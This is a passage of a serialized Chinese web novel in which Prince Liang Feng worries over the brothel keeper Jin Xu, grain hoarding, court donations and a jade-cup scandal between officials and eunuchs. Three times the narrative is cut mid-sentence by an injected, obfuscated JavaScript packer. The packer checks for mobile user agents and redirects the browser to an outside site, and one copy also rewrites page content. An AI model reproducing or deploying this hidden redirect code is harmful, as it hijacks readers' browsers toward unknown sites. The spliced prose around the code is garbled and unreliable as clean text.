还未进门,他一眼看见书案后的坐影。她面前摊着本书,脸却看着前面的窗户,正走神发呆。 梁风原本还怕打扰她,这下不怕了。丫鬟招呼一声,金絮转过脸来。 一张脸特像一张立挺的面具,她的妆好像变得更浓了。 梁风心中简直要警惕起来,抱紧盒子,走去她桌案另一侧。 那张面具目无波澜地追随着他移动。眼珠子间或一轮,让他知道她这张脸并不是个面具,是活的。 将要坐下,梁风被一道金光晃了眼,他定睛一瞧,桌面一头的锦布上摆着几块金币,金灿灿地惹人眼。 梁风一愣,看看她,又看看那堆金币,慢慢坐下了,将盒子锁扣朝前推给她,“给你的。” 金絮轮轮眼珠子,低头瞧着,打开了盒子,乱七八糟摆放的金币闪闪发光,金光照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839867|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮她的脸。 梁风偷偷看那锦布上的金子,那些金子整齐地叠放成两摞,他数了数,每摞七枚,共十四枚金币。 也不知是谁送给她的,不过比不上他,他盒子里有三十枚呢。 梁风再偷偷看金絮,她似乎只看了一眼便盖上了盒子,不说话,沉默的手指摸着盒子边沿的圆角。 但是这钱太多了点,她说她缺钱,能上哪弄来十四枚金币。梁风指指那堆金子,问:“这些金子是哪里来的?” “丽姬的破身钱。”她说。 “丽姬?”梁风皱了皱眉,破身?“就是第一次?” 面具点了点头。梁风想起第一次见丽姬时,那块扔到他头上的手帕。一块轻飘飘的东西能精准地落到他头上,手劲是极巧的。 他走了神,金絮忽然道:“我都有了一笔钱了。”指尖轻轻一推盒子,盒子往他这边跨了一步。 梁风眼皮跟着一跳,“我这有三十枚呢。” 说完,他想起不对,赶紧道:“这些金子我会给你的,但我要和你说,皇帝也在囤粮,官员卖出的粮食大多都被皇帝买走了,你很难囤到粮食的。” 面具又轮眼珠子,“皇帝这是想回收发给官员的俸禄?” 收回俸禄?这么理解好像也可以。 “低价回收。”她补充。面具又道:“这些金子先放我这吧,我不嫌钱多。” 梁风端详她的脸色,什么也没看出来,想拉拉她的衣袖,想起她说不给碰,便只道:“你不要和皇帝抢东西,很危险。” “我不抢,我就试试看,囤不了再不囤了。” 梁风问:“你上一回平衡粮价、低买高卖为什么会亏钱啊?你说你亏了四十文?” “四十文?”面具还轮眼珠子,“我上回亏了近两万钱。” “两万?!”梁风瞪大眼睛,“你和我说你亏了四十文?” “骗你的吧。”语气比面具还平静。 梁风看不透她那双眼睛,半晌慢慢低下头去,伏案把那盒子扒过来,“不给你了。” 她不仅骗了他,还忘了骗了他这回事。他在她这里根本就无足轻重,估计连一枚金币都比不过,他还巴巴地说他这有三十枚金币呢,简直是在自贬。 “两万钱。温柔馆用了几个月才补回这笔亏空。而现在,一个晚上的金子就能补回来。”她道:“这次我不会亏。” 梁风扭头往桌边看,那两摞金币尚在静静地发光。丽姬破身的钱,她就准备用来补亏空了。 他抬头与她对望,手里心外空落落的,他忽然觉得很遗憾,又想不清楚为了什么而遗憾。 金絮手指缩了一下,双眼直直地回望他,妆容滴水不漏,眼睛里映入的烛光却不显温暖。 “你可以拿这种眼神看我,我不会说什么。”她道。 梁风胸膛一梗,堵住了出口的话,“我不是......”他明显感到她的呼吸乱了。 “我知道京城的粮价轮不到我平衡,我低买,更低卖。可是低价粮只能抢到很少的一部分,还要垫上运送的车马费,亏钱是必然。但是太南在去年冬天,至少有五户人家因为我送过去的粮食而免于被饿死。” 她道:“我觉得我没做错,我只是不知道这么做有什么意义。” “我能感觉到她在痛。”金絮像是自语:“她说她要做花魁,温柔馆里只有卖身的女子才能竞选花魁。她挑挑拣拣几个月,才拣到一个合她心意的男人。” 梁风抓住她的袖子道:“你想帮别人,但是不能亏钱援粮啊。你帮到别人,帮不到自己。” 金絮垂眸扫了一眼她的袖子,盯着他仿佛盯着敌人,“摸我一下五百钱。” 梁风一下子缩回手指,面对她的目光有些难以置信,却在她周身的情绪中清晰地感受到痛苦。 “你到底怎么了?”梁风抓回她的袖子,急道:“我很担心你。” 她一皱眉,像是生气了,突然前倾靠近,语气狠厉地拍桌纠正:“该担心的不是我!” 发完狠,金絮瞬间收回脸上的厉色,直回身子,眼睛变成了面具上两个空洞。 “你知道问题是什么?问题是我不知道这样做有什么意义。”她道:“我那年从你府里逃出来,在太南最落魄的时候,遇到一位老奶奶带我去她家里吃了块饼,可她家里也很困难,揭不开锅了......” 她忽然一愣,脸上有一瞬呆滞,喃喃道:“我不应该凶你。” 她挪开与他对视的眼神,慢慢低下头,盯着桌面,轻声道:“后来我想找到她,听说她在冬天里冻死了。” 梁风看着她的头顶,一阵无措,她头上有几个发钗。不同于蓝色的衣着,她的发钗是红色的,零星几支,簇拥着脑袋插着。 他不知道该说什么,一点点松开她的衣服,替她把捏皱的地方展平,小声问:“我没有帮你吗?” 金絮却突然哭了,面具的两个眼睛毫无征兆地流出眼泪,泪水推开脂粉,滑出两道竖竖的湿痕。 她怔忪着,又不抬头看他,反抓住他的手臂,连着衣服一起抓住他的手臂。 “你不一样。”她说。 哪里不一样?这又是骗他的。梁风看了眼她的手背,那微突的筋骨,深刻感受到她的手劲,道:“摸我一下一千钱,我可比你贵重多了。” “还有,你的妆坏掉了,你自己弄坏的,可不许打我。” 133. 百年生与千岁忧 像是脊骨突然软了,金絮的脸砰地砸下,震得桌面一跳,抓着他的手却没放开。 “脑袋会疼的。”他点点她的头发提醒。 金絮弹起身子,脸上又完全不哭了,睁圆了眼睛瞪着问他:“你难过吗?你觉得恶心吧?温柔馆里坏人太多了。” “有人对你使坏?” 金絮神色木然地看着他。 梁风眨了眨眼,这下真的愣住了。 “呃,我是说......”他眼睛飘忽地乱瞟,“我是说,那位老奶奶,真是位可亲的人......” 他偷瞄金絮,原本能算木然的神色慢慢变回了面具。 梁风一颗心在水里沉沉浮浮,回答:“我会生气,但不会恶心。” 见她没反应,梁风接着道:“就像你给太南援粮,你会记着那些吃了你粮食的人有一天会来报答你么?” 金絮想了想,摇摇头。 “那位救了你的老奶奶或许也是这样想的,她帮你,未必想要回报。”梁风道。 金絮容色不动,静静问:“那你呢?” 他?梁风道:“我从来没想过要因为救了你而向你求来什么,我希望你随心而活,恩情不是负累。” 金絮变成了面无表情。表情无到像一根定海针,镇在他心里的海,压住起起伏伏的水面。 “随心?”金絮低下头,后背拱成很弯的弧度,“我不明白。” “随心就是想做什么便做什么。”梁风举例子,“比如生病了就去看大夫,比如想不明白的事情就不要想,比如想做花魁就做花魁,比如想赚钱就赚钱,不小心亏钱了下次再赚回来,比如不能凶我,不能打我,比如我没留神碰你一下,不许问我要钱。” 金絮眼睛不知看着哪里,沉默半晌,最后道:“说这些没用。” 她的眼珠子一扭,看见桌面那两摞金币,眉毛瞬间狰狞一下,又瞬间展开,面色变得平静了,她道:“我没有生病,但我很难过。” “那就是生病了。”梁风道:“温柔馆里不是有大夫吗?” 金絮抬头看他道:“我把那对杯子还了之后什么事情都没发生吗?” 跳跃的思维与问话令他一愣,梁风反应了好一会儿才接上她的思绪,回答:“没有啊。什么都没有。” 她似乎微不可察地皱了一下眉,“会有的,应该会有的。文官既然要对付宦官,一定会有的。” 她自己在那念,说完了也不像是要等他回应。梁风低头往上想看进她眼睛里去,“你在和我说话,还是在和你自己说话?” 她突然冷了脸,面具硬起来,冷冷地注视他片刻,道:“我当然是在和你说话。” 她又放松了神情,“有些事情是不能随心而行的。我好像不应该同意丽姬卖身。” 这件事情上,梁风知道自己不能多嘴,只看着她道:“让孙姨给你把把脉。” “我要等她出来。”她霍然起身,膝盖撞得桌沿颠了一下,留个背影道:“不招待你了,王爷随意吧。” 梁风愣愣地看着她离开。 她边走边念:“讲信誉地做生意,做成的是小贩。不讲信誉地做生意,做成的是大贾。做生意和打仗是一样的,成就建立在别人的鲜血之上。我当真不觉得我做错了。” 梁风听见了,也爬起身,追上她。 “从前的顾氏也是这样的,舅舅垄断盐铁和矿道的时候,他有想那么多吗?铁官徒的血就不是血吗?”金絮自问,摇摇头,“不知道,以前我都不关心这些。” 梁风想了想说:“以前盐铁私营,小门小户也没法开发矿山,只有靠顾氏这样的大贾买断,投入更多财力开凿矿山、深挖盐井,才能有更多的人从事矿业。铁官徒有了个赚钱的路子,才能养家糊口。” 金絮转转眼珠子,若有所思,“意思是,我要打通青楼业,让更多的女子做妓?” 梁风眨眼,不确定地说:“这样理解好像不太对。” 金絮点头,“我应该开个学堂。” “开学堂很好啊,那你是打算不做温柔馆了么?”梁风觉得这个打算不错,金絮却想也不想地摇头。 “温柔馆还得做。”她道。 慢慢走进了前馆,金絮上到三楼,站在廊边,看向拐角处一间亮着灯笼的厢房。 梁风隐隐约约能听见那房间里传来的一种声音,忽远忽近,忽大忽小。金絮牢牢站定,听着声音。 梁风想问她平衡粮价的具体计划是如何,话到嘴边还是咽下。随她心意去做好了,没有必要问那么多。 “你想做什么就做吧,我都支持你。”梁风看着她道。 “我不要支持。”金絮驳回:“我很蠢,我该多关心你,而不是想些别的。” 梁风一阵话堵在喉咙里,骤骤然如此突兀直白地听见这两个字,听得他快要委屈了,他嚷道:“那你倒是多关心一下啊,打我凶我就是你的关心?这明明是我剿匪的法子!关心一个人肯定不是这样的。” 金絮扭过脸来问:“我今日听说,京城周边的粮道都封了?” “......” 前头一句还说要关心他,这一句又打听起粮道了,梁风简直不知道该说什么了,胸膛里的气一阵阵上涌,他索性撒气,“对!都封了,封完了!” 他心里颇为自己忿忿不平,快要神志不清了。 金絮十分平静,“也好。但是太南的商户要想从这件事中捞钱是不行了。” 平平一句话,完全是浑不在意的样子,轻易熄了他的气,也冲没了关心二字带来的委屈。他实在不会在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她是不放心他么,不放心什么?她有顾虑,什么顾虑?回报不回报之类的他不在乎,他只是没想到,金絮不知何时竟对他筑起了心防。 是从什么时候开始,又是为了什么呢。梁风想不明白。 心情郁闷地跨出温柔馆,夜里气息一包裹,他忽然想起,好久之前,她曾说过希望他多陪陪她的。 是什么时候说过这话的来着。 居然这么快就不作数了。 说起话来一套一套的,这就是她上回说的在男人面前装模作样的意思么。 可真是深奥得狠。梁风心里一哼。 134. 《红叶书》(五四) 他自己说的,想不明白的事情就不要想。 于是他不想。 可是念头会自己冒出来。尤其是夜深人静的时候。 他快要觉得不能独自一人躺在床上,不能独自一人待在房间里了。 回到王府往床上躺着,周围静到杀耳朵。梁风立马离开卧房,寻去了老李的房间。 在薄塌上坐下,梁风便道:“金絮与我生疏了。” 李晟听见倒是奇怪了,“金姑娘何时同您亲近过了?” 梁风被老李开头这一问弄得窒息,这完全是个和对男人装模作样同级别的深奥问题。 李晟穿着一身将要入睡的衣裳,脱了鞋袜道:“您还是会对金姑娘的行事有要求,您希望金姑娘照着您的期待去做事。” “没有。”梁风果断摇头,“我希望她随心而行,别管旁人那么多。” “那您也在旁人之列吗?” 他张嘴想答却愣住了,说不出一个字。 “您同她是这么说,您同自己也是这么说?” 梁风闭嘴。当做没有听见,再自顾自说道:“我还没有早些反应过来,非要等到她又是凶我又是打我的时候才意识到。” “金姑娘打您啊?”老李愕然。 “对啊!”梁风告状:“不是我小气,她就是打了我。” 老李捋须,“您是没想到她把您当作了旁人。” “她还要与我算账。摸一下五百钱。” “您为何要摸她?” “不是我要摸她,在她看来摸一下衣服也是摸她了。”梁风展展衣袖伸给老李看。 “然后我和她说,摸我一下一千钱。”梁风道:“我的意思是,她不能和我算账。” 李晟捋着胡须沉吟认同点头。 梁风却忽然想起来,从前金絮藏在王府里的那段时间,他每次回府常常和她说有什么心里话可以同他讲。实际上,以他一月不一定回府一次的间隔,她即便有什么话想说,等见到他,情绪也都过去了。 轻轻淡淡的愧疚在心里浮上来,盖过了告状时的底气。 “是我忽视她了。那句话在我这里也是没有作数的。”梁风自己念道。 “金姑娘未必不能理解。”老李收腿上榻入被窝,索性道:“您想做什么便做什么吧,不说金姑娘,至少您在我这里,您是可以随心而行的。” 老李又道:“不过,您也要有所准备,一个人对另一个人的关心与重视从来都未必能得到同等的回报,在看得到结果时想想自己最初为什么愿意重视她。” 为什么愿意重视她?梁风反问:“什么样的结果?” “有好有坏,这就不易知了。”老李拢拢棉被,劝道:“王爷,睡觉吧。” 梁风不是很明白,不过没有同等回报这个事情,他十几岁时就知道了,老李的提醒他并不十分在意。也就是抱怨抱怨的意思,何况老李站他一边,说了他想听的话。 梁风呼一口气,吹熄了桌上的蜡烛。 冯棹台开始宿在宫里。梁风进宫便更换燃到屁股的蜡烛。 储的钱越积越多,已经难以每日清点,冯棹台发起愁来。梁风提议要么每隔三四日才清点一遍,要么按箱数清点而不是按每贯钱清点。 清点方式已经由最初的每枚计数改为了现在的每贯计数,若要再改为按箱清点的话,冯棹台不愿监管放松,有些犹豫。 梁风听说游照同在京没找着尚未受粮价变动影响的区域,已经准备将捐资送来了,到时候不管冯棹台怎么想,放宽清点钱币的方式都是必然。 冯棹台看起来心情不好。 又收一个太监送来的一笔钱,这日午后,夏培带着人来,以皇帝口谕,调走了梁风手里现存的所有捐资。 夏培的说法是,皇帝缺钱了,调用这笔钱再投入市面,继续购买低价粮。 这一下解决了冯棹台的燃眉之急。太学学生开心了。 夏培指挥下人一箱箱抬走捐资,大殿变空了。 冯棹台目送夏培抱着拂尘的身影离去,道:“这夏培,在太监最早送来捐资的一批人里。” “怎么了?啥意思?”无端端一道提醒,梁风眼皮要跳起来。 “没什么。”冯棹台摇头一笑,“官员卖粮食,越往后卖的价钱越低,要卖的粮食就越多。为了少亏些钱,多数人都抢在前头卖粮,夏培就是其中之一。” “这样怎么了?” 冯棹台淡淡着道:“相府官员送捐资的顺序是在游相安排之下的,官位低的靠前卖,官位高的靠后卖,大官富裕,更承担得起这样的亏损。” 梁风想了想说:“这能说明太监比较自私?” “能吧。也或许不能,趋利避害是人之本能。”冯棹台看看他,问:“王爷对游相怎么看?” “游照同?”梁风摇头,“不怎么看。” 他对游照同的了解仅限于,梁戟起兵前曾安插在朝廷的眼线就是游照同,游照同两面三刀地待在他大哥的朝廷里。 冯棹台听了没说话。 梁风没兴趣谈游照同,更关心:“丞相有多富裕啊?” “很富裕啊。”冯棹台都不用算,直接道:“大周丞相月俸是二千石,一年就是两万四千石,按如今正常市价,每石粮食八十钱算,丞相年俸总共是一百九十二万钱,取其三成,是五十七万六千钱。” 梁风沉默一会,才说:“好多钱啊。” “是啊。” 第二天,他就见到了这五十七万六千钱。 相府车架载着钱箱,由游照同亲自送来。 三辆车,为了方便装抬,钱箱都是用的小钱箱,两人便能合力抬起,总共二十箱。 下人们搬东西,游照同支开冯棹台,单独来找梁风说话,上来便道:“应和王殿下,近来可好?” 亲自着车送来,梁风肯定游照同有话要讲,便应:“还好。”边说边打量这位丞相。 游照同应当比梁戟稍大几岁,一副典型文人身子骨,不算弱但也不结实,肚子的肉松松垮垮,脸上神情内敛平静。 游相开门见山道:“高公公送到您这的那对羽殇,可容我看看?” 梁风一愣,疑惑起来,“您要看那对杯子?”特地来他这里就为了看对杯子?看杯子干什么? 游照同没回答,目光沉静地与他回视。 梁风很不耐烦应对这种眼神,久居丞相之位的人就这种作风,又要看又不说话,只等着他猜,鬼猜了。 “无所谓,看吧。”他拿出钥匙,领游照同进大殿深处。 打开盒子,游丞相对着杯子仔细端详片刻,才道:“确实不易分辨真假。” “还要辨什么,这是真的。” 游照同颔首,“两对羽殇皆为黄玉制成,都可说是真的。” “这杯子怎么了?” 话出口,梁风发觉不对,游照同怎么知道这杯子有两对的?想把话收回已经晚了。 游照同看向他,似乎思索他的话。 梁风被盯着,越看越不对劲。脑子里飞快地回溯成为监币使以来做过的所有事情,有没有哪里有疏漏。 一个个画面飞快掠过,他却抓不住重点。游丞相眼中的审视是他已经几年没有复习过的直冒冷汗的感觉,梁风紧张起来,他宁愿是被金絮这样瞧着。 游照同缓了脸色,道:“应和王这是打算站在宦官那边了?” 宦官?梁风没明白是什么意思,不知道为什么这样问,好像默认了他知道点什么。 脑子里掠过画面的速度更快,他轻易不敢回答,只能猜,然而猜半天猜不着。 心跳快起来,越发紧张了,他对这个问题很敏感,因为 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人走后,梁风和冯棹台说了游照同刚才的问话,冯棹台也不知道是什么意思。 学生们数完了钱,梁风才发现游照同是送了整数来的,总共六十万钱。 事情处理完,夜还未深,梁风策马离宫,去找金絮。 骑入来福街,街两面店铺灯笼高高挂起,梁风一边盯着温柔馆的方向,一边规避行人。 然而这次却不像从前每次隔着半条街都能见到盛亮的烛火,今夜街头那块地方似乎格外暗淡。 他愣住,靠近后慢慢勒马停了。 房舍漆黑,门匾映着旁边店铺照过来的烛光,门口没有向他招手的姑娘,也没有送到他身上的眼神。 温柔馆今夜未开馆营业。 大门贴着告示,馆主说歇业几日,具体复业时候未定。 梁风在那告示上看了两眼,去到温柔馆侧面,纵身上墙,一看,寝楼也是烛火全熄,庭院见不到一个人影。 他跳下,径直穿过庭院去她房间。 门锁着,梁风直接拍门,小声喊:“金絮,你在吗?” 里面无人应门,一盏烛光都没有。他呆了呆,大声喊:“金絮,你在吗!” 里面还是静悄悄的,一丁点动静都听不见。 梁风四处环顾,围着庭院和寝楼绕圈找。今夜月色很好,照得庭院发白。夜风吹过空荡荡的石子路,吹开黑色的树影,除了树叶沙沙声,目之所及见不到任何一道人影。 歇业也不会见不到一个人,温柔馆的人仿佛全都消失了。 梁风一颗心落下去,低头看着地面,看见自己影子覆在枯树枝的路上。 脑子里回响游照同白日里说的话,忽然产生一种被抛弃的感觉。很不好,梁风回到金絮房前拍门,“金絮!金絮!” 没有人回答他,他很肯定没有听见第二道呼吸声,这里没有人。 梁风扒着门缝往里看,里面一片漆黑。 他双手垂下,原地站了一会。 片刻后走去庭院的砖桥,走到桥中央,看看桥下的池水,记得这里是上回金絮跌进水里的位置。 她似乎很喜欢这座小桥,有好几次看见她坐在这里。 梁风背对池水坐到桥墩子上等着。 空想时,脑海里莫名出现一个在记忆深处的模糊画面,他在漆黑的屋子里哭,旁边灶锅内是他够不到的粥,母亲不知去了哪里。 他低头看着手指,看看衣摆或者鞋子,或者抬头看明朗的夜空等着。 等到天快亮,还是不见一个人影,不听一声响动。早已经宵禁,她今天晚上是不会回来的。 临上朝前,梁风决定不等了,留下一名暗卫监守温柔馆,再骑马入宫。 135. 《红叶书》(五五) 朝会进行中。 梁风发呆。 金絮去了哪里。 丢下温柔馆跑了,还带着馆里所有的姑娘。这么大一群女子,惹人眼目,能跑去哪里?他的兵守着粮道,若是出了城,他一定会收到消息。 梁风深入地想,如果要找到她,该如何不动声色地在城内找。 招呼也不打一个就走了,可能是不想他知道,不愿他去找?要去哪里他又不会拦着,干嘛不和他说,居然宁愿不告而别。 难不成有人追杀?梁风凛然,很有可能! 温柔馆亏过钱,说不定是债主找上门了?她要躲避债主追杀,来不及通知他? 可是她应当不缺钱了吧,哪怕丽姬那十几枚金币不够用,他还给了三十枚金币呢,什么债能欠那么多的钱。 不会是......情债?不能用金钱衡量的那种债? 梁风被自己弄得纠结,想来想去,金絮总不能是带着他的金子跑了。 走神之际,有官员上奏提及应和王。梁风一被点名,回过神来,才注意到御史们正在讨论应和王是否需要上缴捐资的问题。 御史大夫说应和王应当要捐的,大部分官员也同意,意见不统一的是以诸侯王规制捐还是以朝廷将军的名义捐。 梁风眨了眨眼,这才想起他还没缴捐资。不等大臣商定,他出列向皇帝应下此事,自愿上缴捐资,并对他逾了几天经人提醒才想起这事表示内疚与惭愧。 皇帝道无妨。 梁风回队,站好想继续发呆却想起他府中的余钱基本都给了金絮,捐资需要三成月俸,恐怕不够了。 梁风欲言又止地看一眼皇帝,皇帝的目光逡巡在大臣之间。 他的俸禄都在母亲那里,实在缺钱的话就得让襄国运来。梁风收回视线,三成月俸而已,筹一筹也够了,他是绝不会要跟金絮要回来的。 他等着下朝,想找游相问清楚昨天的话。结果下朝后,包括丞相在内的几位相府大员另有要事要商,和皇帝开小会去了。 梁风等了一会,不见人出来,便先去母亲那儿看看。 母亲在宫里有用到钱的地方,他每月送来的俸钱还有余一半左右,他若是拿走大半,恐怕母亲就不容易了。 邓氏见他在钱币上来来回回,不由道:“你在宫外有需要用着钱的地方,月俸就不用送来了,我这反而用不着。” 梁风摇头,决定不拿,母亲用得上钱。 邓氏叹气,握着他的手道:“我平时就算想使钱收买关系,送出去的钱也是打了水漂,你看看,有哪样东西是到了你手里的?还不如你拿走,至少这些钱能帮得上你。” 梁风不说话,母亲说的确如此。他以往没收到任何母亲从宫里送出来的东西,这次成为监币使,多见了母亲,他才知道原来过去有很多母亲的东西都被皇帝没收了。 “留着吧,还是有用的,冬天可以多几块炭什么的。” 他这么说着,心里知道并不会。母亲的一应吃穿用度在皇帝监控下完全不会缺斤少两,她除了脸上皱纹渐深、双眼忧思略重外,全身上下没有一点受委屈的痕迹。只是宫里没有别人会和母亲说话,寂寞了些,使点钱财让宫女陪她说说话也好。 “不拿便不拿了,留些钱财将来也好下聘。”母亲又关心起来了,“王妃人选可定了?你心仪的女子是哪位?陛下可有向你推荐过什么人选?” “没有,都没有,您别操心了。” 邓氏摇摇头,一脸不信任他的样子,“你身上的脂粉气越来越重了,旁的我倒是不担心,只你少去那些烟花之地。” 母亲消息闭塞,之前还一直不知道她的儿子是那秦楼楚馆的大主顾,最近他成为监币使,进宫次数多了后,母亲无意从他嘴里听见了。 “脂粉气?”梁风脑海里出现金絮浓妆的脸,还有昨晚一片漆黑的温柔馆,忧心起来,她去哪儿了呢。 “母亲,女子脸上涂那么浓的妆是为了什么?” 邓氏一听,眼中厉色起来,“烟花之地的女子化妆是她们留人的手段,我对你的妻子没有别的要求,她可以家世不显赫,性情不贤淑,但她一定不能是个会以色侍人的。” 邓氏十分严肃地教导他,末了补充:“当然,她若是能家世显赫些,与你有益,那也不错。” 梁风想到金絮砸他的盒子还有打他的小巴掌,不免否认:“她不是。” “谁?”母亲抓住重点。 梁风立马起身溜了,屁股也不拍,“我先走了,下回再来看您。” 温柔馆里态度不好的不止是金絮啊,烟花之地的女子也不全是以色事人的,或者说,“色”不仅是色相,也包含脸色。 皇帝和游相开的小会还没结束,梁风只能先去处理今日的事情。 入夜后,他回府,让老李把府中多余粮食卖一卖,凑点钱出来,留两名暗卫供老李调用。 李晟没说什么,应下了。 前夜没睡,今夜梁风睡得早。 隔日天不亮醒来,吃早饭时,他派去监守温柔馆的暗卫来告知他,昨夜在温柔馆又遇上了一个天机阁的哨卫。 这次可以很确定的是,天机阁哨卫的目标就是温柔馆馆主,目的是传递一个锦囊,锦囊里是温柔馆主委托天机阁办的一件事。 暗卫暂未过界,没有问锦囊里面是什么,先来问过梁风意思。 梁风愣了会儿,没想到金絮会和天机阁有联系。 想到天机阁总阁位于太南,金絮说不定是从小就与天机阁有联系的,甚至说,金延守可能都知道天机阁的存在。可她现在找天机阁办事,不怕泄露身份么。 宁愿找天机阁也不找他。或许是办什么私事吧,梁风向暗卫道:“知道了。”不多打听。 到时辰入宫了。 朝会开始,梁风循例汇报后站到一边旁听,快要发呆之际,一道弹劾拉回他的注意力。 有人弹劾冯棹台。 弹劾之人是相府长史,弹劾理由是前两月冯棹台举报相府决曹官员在判狱时滥用私刑,致使一名疑犯死亡。相府长史查证此事后,证明滥用私刑为误判。那名疑犯身体不好,在审讯开始用刑前就死了,是自己惊吓过度而死,并不是因审讯时的刑罚而死。 梁风吃了一惊,前两月,是冯棹台还没担任监币副使时的事情。 相府长史说:“审讯时做适当刑罚恐吓是必要的,冯大人身为言官不清楚刑讯技巧可以理解,但为官应当公正无私,不以结果倒推过程。” 冯棹台立刻出列解释,在他经手这一案时,见到的那名疑犯不像是生着病的样子,且死后仵作尸检也从未说过疑犯患病。 相府长史反驳,上呈证据,证据是一张药方,并言所列之药在疑犯家中尽数找到。 夏培接过药方,递给皇帝。皇帝扫了眼,未细看,瞧瞧冯棹台,又看看游照同,最后将方子往桌上一放,下令细查。 冯棹台与相府长史回列,梁风担忧地看着冯棹台,对方却没回视他片刻。 反而皇帝眼风若有若无地看他,梁风注意到了,不明白这一眼的意思,只收回视线,老实站好。 “陛下,臣还有一事要禀。”游照同步出。 “讲。” “几日前,高京所缴纳捐资中含有一对前朝羽殇。此羽殇所属的一套茶具因战乱破损而丢失,在民间几经转手,仅剩一对耳杯,几十年前于太南郡出现过一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不曾听你说起。”皇帝神色没有变化,打量他,“你既知道此事,为何不告诉朕?” “我......”他手掌握得更紧,想到一个合适的理由,“因......因金延守而死的人已经够多了......” 皇帝目光审慎,不知信了没有。 大臣中有人凉凉的声音响起:“应和王手握重兵,杀匪无数,倒比我们这些个不知江湖远的文官还要心慈了。” “不知往后抗匈,应和王这刀还砍不砍得下去。” 梁风不说话,移开视线不再看此刻的朝堂核心,表露出说什么都与他无关的态度。 游照同再次重申必须严查此事,谨防宫中有人身怀异心,尤其是那些个贴身伺候陛下的,说不准是孽党余部。 高京跪在地上浑身发抖,连声否认:“奴婢不曾想过诬陷应和王殿下,奴婢不知那对耳杯竟是金党遗物啊!陛下明鉴!奴婢前几月得了块稀世罕玉,一时犹豫不知该如何加以雕琢,见......见那羽殇形制不错,便仿着雕了一对,奴婢赠给那青楼女子时也别无他想,没想到、没想到......” 皇帝盯着游照同,“游大人听见了?” 游照同神情镇定,不为所动。 皇帝道:“应和王曾在太南游府住过一段时日才认得这杯子,换了京中任何一人,谁能认得?” 皇帝想维护太监的意图很明显。梁风闭着嘴,不再说话。 他从未如此迫切地想见到金絮。 136. 《红叶书》(五六) “陛下,这奴才言辞中疑处颇多。”大臣中一名相府要员道:“那对羽殇是从何而来?稀世罕玉又是从何而来?既得了块世所罕见的黄玉,高京为何会送给一个青楼女子?” 另一人附和:“哪怕高京不识此物是金党遗物,但刻意仿照其形制另雕一对,背后未免别有用心?诬陷应和王殿下私昧捐资的传言又是从何而起?” 一人反驳:“适才长史大人不是还说为官应当公正无私,不以结果倒推过程。为何此刻又以仿雕羽殇而认定高京别有用心、试图诬陷应和王殿下?” 又一人提醒:“陛下,当年金党府邸所藏之物全由九卿清缴并归档销毁,不应当有遗漏,若有,恐不止这一对耳杯。” 丞相起个头,一声附和一声。梁风胆战心惊地看着。 皇帝脸色愈发深沉,夏培拢手低头看脚尖,似乎不会搭理下面跪地的同僚。 这就是文官与宦官之间斗争的场面。梁风担心会不会有人提出要那个青楼女子的口供,若是要的话,他就得站出来了。一旦站出去表态,他在朝中就不再是处于现在这样中立的位置了。 如果只是要口供倒还好,就怕有人查她。等找到她,往后与她暗中联系好了,出现在温柔馆的文官和宦官本也是他带过去的。 梁风满脑子是金絮,想到这对杯子从前是她家里用的东西,她认出来了,没有和他说,自己偷偷利用这东西搅和朝堂。 那是她家里仅剩不多的遗物了,居然被她拿来利用,她不自己留着,横插这一手干什么。梁风甚至感到,金延守最后一点体面都被自己的女儿拿来榨取。 文官吵吵嚷嚷。皇帝终于面露不耐,下令收押高京,案子交由廷尉审问。 游照同这一击仿佛令皇帝措手不及,事情当然不能仅仅一场朝会便商定解决,总要有事后互相走动通融的余地。 梁风没有再被提及,那个青楼女子仿佛也是个无足轻重的小人物。 散朝后,梁风召来暗卫,去通知留守温柔馆的暗卫,若再遇见天机阁传递锦囊的人就打听一下锦囊里写的内容,他要知道金絮委托天机阁办了什么事。 冯棹台沉默着独自离开,没有和梁风一起回大殿。 他不能出宫了,冯棹台不在,至少要有一人接收送过来的钱币。官员的捐资基本上缴齐全,只还差几人,他足够应付。 直到夜深了回府,李晟告诉他卖粮情况。 几乎是王府卖粮消息放出去的下一刻就有人前来收购,梁风同老李说过不计较价钱,老李便打算一次全卖了。 买粮之人是赵关,温柔馆的大主顾。李晟将要和赵关签署买卖契约时,生意被旁人截胡了。 截胡的人背后是一个太监,明白地向王府表明身份,毫无负担地将王府的售粮抢了。老李也不可能不把粮食卖给皇帝。 赵关明面上没什么怨言,但在生意被抢了后与老李聊了会儿,也算与王府结识了。 出乎梁风意料,能如此迅速地抢在京城所有商人前面与王府达成合作,甚至比宫里的太监还快了一步,赵关的生意与人脉显然是压了金絮不止一头的。他原本还想,王府卖粮的消息能不能勾金絮出来。 赵关这个人不知会不会有什么线索,或许可以通过赵关找到金絮。 梁风让老李继续卖粮,府内只留够吃的量,其余全作为钩子分批放出去。 李晟应下了。 隔日,梁风与冯棹台在宫内相遇,一道上早朝。 朝会商议应和王捐资以将军身份上缴。 梁风有料到,他若要以诸侯王名义上缴,那其余的皇子公主、妃子一律都应按食邑缴纳,这些人不会同意的。 接着一件事,是昨日说的冯棹台误判的事情。 